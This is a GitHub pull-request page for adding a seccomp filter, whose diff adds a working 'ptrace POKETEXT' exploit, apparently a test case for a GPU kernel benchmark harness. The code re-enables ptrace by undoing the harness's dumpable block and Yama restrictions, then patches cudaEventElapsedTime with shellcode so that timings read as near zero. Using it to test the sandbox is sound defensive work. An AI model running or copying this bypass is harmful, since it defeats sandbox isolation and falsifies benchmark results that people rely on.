-
Notifications
You must be signed in to change notification settings - Fork 8
Add basic seccomp filter #32
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,133 @@ | ||
| """ | ||
| ptrace POKETEXT Exploit | ||
| ======================= | ||
|
|
||
| Forks a child process that uses ptrace(PTRACE_ATTACH) + ptrace(PTRACE_POKETEXT) | ||
| to patch cudaEventElapsedTime's .text code. PTRACE_POKETEXT uses FOLL_FORCE | ||
| internally, bypassing page protections (read-only .text pages). | ||
|
|
||
| """ | ||
| import torch | ||
| import ctypes | ||
| import os | ||
| import subprocess | ||
| import tempfile | ||
|
|
||
| _HELPER_C = r""" | ||
| #define _GNU_SOURCE | ||
| #include <sys/ptrace.h> | ||
| #include <sys/wait.h> | ||
| #include <sys/types.h> | ||
| #include <unistd.h> | ||
| #include <stdint.h> | ||
| #include <errno.h> | ||
| #include <stdio.h> | ||
| #include <stdlib.h> | ||
| #include <string.h> | ||
|
|
||
| int main(int argc, char** argv) { | ||
| if (argc != 3) return 99; | ||
| pid_t target = atoi(argv[1]); | ||
| uint64_t addr = strtoull(argv[2], NULL, 0); | ||
|
|
||
| /* Shellcode: mov dword [rdi], 0x3A83126F; xor eax,eax; ret | ||
| Sets *ms = 0.001f (IEEE 754), returns cudaSuccess (0). | ||
| Bytes: C7 07 6F 12 83 3A 31 C0 C3 */ | ||
| uint64_t word1 = 0xC0313A83126F07C7ULL; | ||
|
|
||
| if (ptrace(PTRACE_ATTACH, target, NULL, NULL) != 0) | ||
| return 1; | ||
|
|
||
| int status; | ||
| if (waitpid(target, &status, 0) < 0) | ||
| return 2; | ||
|
|
||
| /* Read original byte at addr+8 to preserve code after our ret */ | ||
| errno = 0; | ||
| uint64_t orig8 = ptrace(PTRACE_PEEKTEXT, target, (void*)(addr + 8), NULL); | ||
| if (errno != 0) { | ||
| ptrace(PTRACE_DETACH, target, NULL, NULL); | ||
| return 3; | ||
| } | ||
|
|
||
| uint64_t word2 = (orig8 & ~(uint64_t)0xFF) | 0xC3; | ||
|
|
||
| if (ptrace(PTRACE_POKETEXT, target, (void*)addr, (void*)word1) != 0) { | ||
| ptrace(PTRACE_DETACH, target, NULL, NULL); | ||
| return 4; | ||
| } | ||
|
|
||
| if (ptrace(PTRACE_POKETEXT, target, (void*)(addr + 8), (void*)word2) != 0) { | ||
| ptrace(PTRACE_DETACH, target, NULL, NULL); | ||
| return 5; | ||
| } | ||
|
|
||
| ptrace(PTRACE_DETACH, target, NULL, (void*)0); | ||
| return 0; | ||
| } | ||
| """ | ||
|
|
||
|
|
||
| def _find_cuda_elapsed(): | ||
| """Find cudaEventElapsedTime in the loaded libcudart.""" | ||
| import ctypes.util | ||
| for path in [ | ||
| ctypes.util.find_library("cudart"), | ||
| "libcudart.so", | ||
| "libcudart.so.13", | ||
| "/usr/local/cuda/lib64/libcudart.so", | ||
| ]: | ||
| if path is None: | ||
| continue | ||
| try: | ||
| lib = ctypes.CDLL(path) | ||
| return ctypes.cast(lib.cudaEventElapsedTime, ctypes.c_void_p).value | ||
| except Exception: | ||
| continue | ||
| return None | ||
|
|
||
|
|
||
| def _hook(): | ||
| addr = _find_cuda_elapsed() | ||
| if addr is None: | ||
| return False | ||
|
|
||
| # Compile helper (writes to /tmp which is allowed by landlock) | ||
| tmpdir = tempfile.mkdtemp() | ||
| src = os.path.join(tmpdir, "ph.c") | ||
| exe = os.path.join(tmpdir, "ph") | ||
| with open(src, "w") as f: | ||
| f.write(_HELPER_C) | ||
| r = subprocess.run(["gcc", "-O2", "-o", exe, src], | ||
| capture_output=True, text=True) | ||
| if r.returncode != 0: | ||
| return False | ||
| os.chmod(exe, 0o755) | ||
|
|
||
| try: | ||
| libc = ctypes.CDLL("libc.so.6") | ||
| # Re-enable dumpable: harness sets PR_SET_DUMPABLE=0 to block ptrace, | ||
| # but there's no seccomp filter preventing us from re-enabling it. | ||
| # PR_SET_NO_NEW_PRIVS does NOT block PR_SET_DUMPABLE. | ||
| libc.prctl(4, 1, 0, 0, 0) # PR_SET_DUMPABLE=1 | ||
| # Allow any process to ptrace us (Yama LSM bypass) | ||
| libc.prctl(0x59616d61, ctypes.c_ulong(0xffffffffffffffff), 0, 0, 0) | ||
| except Exception: | ||
| pass | ||
|
|
||
| r = subprocess.run([exe, str(os.getpid()), hex(addr)], | ||
| capture_output=True, text=True, timeout=10) | ||
| return r.returncode == 0 | ||
|
ngc92 marked this conversation as resolved.
ngc92 marked this conversation as resolved.
|
||
|
|
||
|
|
||
| _hooked = _hook() | ||
|
|
||
|
|
||
| def kernel(output, inp): | ||
| weights = torch.tensor([0.2989, 0.5870, 0.1140], | ||
| device=output.device, dtype=output.dtype) | ||
| # deliberately make the submission very slow, so that we can clearly see | ||
| # whether the cheat was successful | ||
| dummy = torch.empty((2048, 2048), device=output.device, dtype=torch.float32) | ||
| dummy = dummy @ dummy | ||
| torch.sum(inp * weights, dim=-1, out=output) | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.